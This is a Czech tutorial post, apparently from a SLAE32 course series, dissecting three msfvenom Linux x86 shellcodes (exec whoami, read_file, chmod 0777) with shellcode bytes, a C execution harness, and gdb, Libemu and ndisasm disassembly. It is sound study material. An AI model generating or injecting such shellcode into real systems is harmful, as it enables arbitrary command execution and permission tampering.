V pátém textu této 32bitové série budou analyzovány 3 vybrané shellcody vygenerované pomocí msfvenom pro linux/x86. K analýze bude použito Libemu, gdb a ndisasm.
Všechny dostupné payloady v msfvenom můžeme vidět pomocí:
- msfvenom ––list payloads | grep linux/x86

Za účelem analýzy byly vybrány následující payloady:
- linux/x86/exec
- linux/x86/read_file
- linux/x86/chmod
linux/x86/exec:
Nejdřív ze všeho potřebujeme vědět, jaké jsou požadované nastavení pro vygenerování tohoto shellcodu:
- msfvenom -p linux/x86/exec ––list-options

Je zde pouze jedno požadované nastavení a to „CMD“. V našem případě použijeme whoami.
Vytvoříme shellcode v C:
- msfvenom -p linux/x86/exec CMD=whoami -f c
Poté vložíme do C skriptu, spustíme a spočítáme délku shellcodu:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode-exec.c -o shellcode-exec

Jak můžeme vidět, shellcode funguje. Nyní jej můžeme analyzovat například pomocí Libemu:
- msfvenom -p linux/x86/exec CMD=whoami R | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G exec.dot
- dot exec.dot -T png -o exec.png


Shellcode používá pouze jeden syscall a to execve.
- grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11 - int execve(const char *filename, char *const argv[],
char *const envp[]);
Nyní můžeme analyzovat syscall:
- EAX = execve()
- EBX = filename = /bin/sh, 0x0
- ECX = argv = “/bin/sh, -c whoami”
- EDX = envp = 0
Jak můžeme vidět, msfvenom používá instrukci “call 0x1”. Díky tomu je uložen příkaz “whoami” do stacku. Můžeme jej analyzovat pomocí gdb.
- gdb ./shellcode-exec -q
- set disassembly-flavor intel
- break *&code
- run
- disas/r

Jak můžeme vidět, “\x69\x6d\x61\x61\x6f\x68\x77” = “whoami”
To stejné můžeme vidět manuální analýzou ECX:


global _start
section .text
_start:
push byte 0xb ; syscall execve()
pop eax ; EAX = syscall 11
cwd ; EDX = 0
push edx
push word 0x632d ; "-c"
mov edi, esp ; ESP -> EDI
push dword 0x68732f ; "/sh"
push dword 0x6e69622f ; "/bin"
mov ebx, esp ; ESP -> EBX
push edx ; EDX = 0
call 0x1 ; storing the "whoami" command into the stack
push edi
push ebx
mov ecx, esp ; ECX (/bin/bash -c whoami) -> stack
int 0x80
linux/x86/read_file:
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x86/read_file ––list-options

Jsou zde dvě povinné nastavení, a to file descriptor a PATH.
Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x86/read_file FD=1 PATH=/tmp/slae.txt -f c
Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x2e\x74\x78\x74\x00";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode-readfile.c -o shellcode-readfile

Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí ndisasm:
- msfvenom -p linux/x86/read_file PATH=/tmp/slae.txt | ndisasm -u –

Můžeme vidět 4 syscally:
- EAX 0x5 = open
- EAX 0x3 = read
- EAX 0x4 = write
- EAX 0x1 = exit
PATH “/tmp/slae.txt”
; Filename: exec.nasm
; Author: SLAE-14209
global _start
section .text
_start:
jmp short 0x38
mov eax, 0x5 ; syscall open()
pop ebx ; pop address "txt.eals/pmt/" into EBX
xor ecx, ecx ; zeroize ECX register
int 0x80 ; int open(const char *pathname, int flags);
mov ebx, eax
mov eax, 0x3 ; syscall read()
mov edi, esp ; ESP -> EDI
mov ecx, edi ; ESP -> ECX
mov edx, 0x1000 ; 0x1000 = 4096
int 0x80 ; int read(int fd, void *buf, size_t count);
mov edx, eax
mov eax, 0x4 ; syscall write()
mov ebx, 0x1 ; STDOUT = 1
int 0x80 ; int write(int fd, const void *buf, size_t count);
mov eax, 0x1 ; syscall exit()
mov ebx, 0x0 ; exit
int 0x80
call 0x2
das ;---|
jz 0xad ; |
jo 0x71 ; |
jnc 0xb0 ; |--> "txt.eals/pmt/"
popa ; |
cs jz 0xc1 ; |
jz 0x4b ;---|
linux/x86/chmod:
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x86/chmod ––list-option

Jsou zde dvě povinné nastavení, a to FILE a MODE.
Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x86/chmod FILE=/tmp/slae.txt MODE=0777 -f c
Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x99\x6a\x0f\x58\x52\xe8\x0e\x00\x00\x00\x2f\x74\x6d\x70\x2f"
"\x73\x6c\x61\x65\x2e\x74\x78\x74\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode-chmod.c -o shellcode-chmod



Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí gdb:
- gdb ./shellcode-exec -q
- set disassembly-flavor intel
- break *&code
- run
- disas/r

Na začátku můžeme vidět syscall 0xf = 15 = chmod()
- int chmod(const char *pathname, mode_t mode);
Dále můžeme vidět: “\x74\x78\x74\x2e\x65\x61\x6c\x73\x2f\x70\x6d\x74\x2f” => “txt.eals/pmt/” a push 0x1ff => 777.
; Filename: chmod.nasm
; Author: SLAE-14209
global _start
section .text
_start:
cdq ; convert double to quad
push 0xf ; syscall chmod() = int chmod(const char *pathname, mode_t mode);
pop eax
push edx
call 0x404058 <code+24>
das ;---|
je ; |
jo ; |--> "txt.eals/pmt/"
jae ; |
popa ; |
gs cs je 0x4040ce ;---|
pop ebx
push dword 0x1ff ; hex 0x1ff = 777 octal
pop ecx
push byte 0x1 ; syscall exit()
pop eax
int 0x80
Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32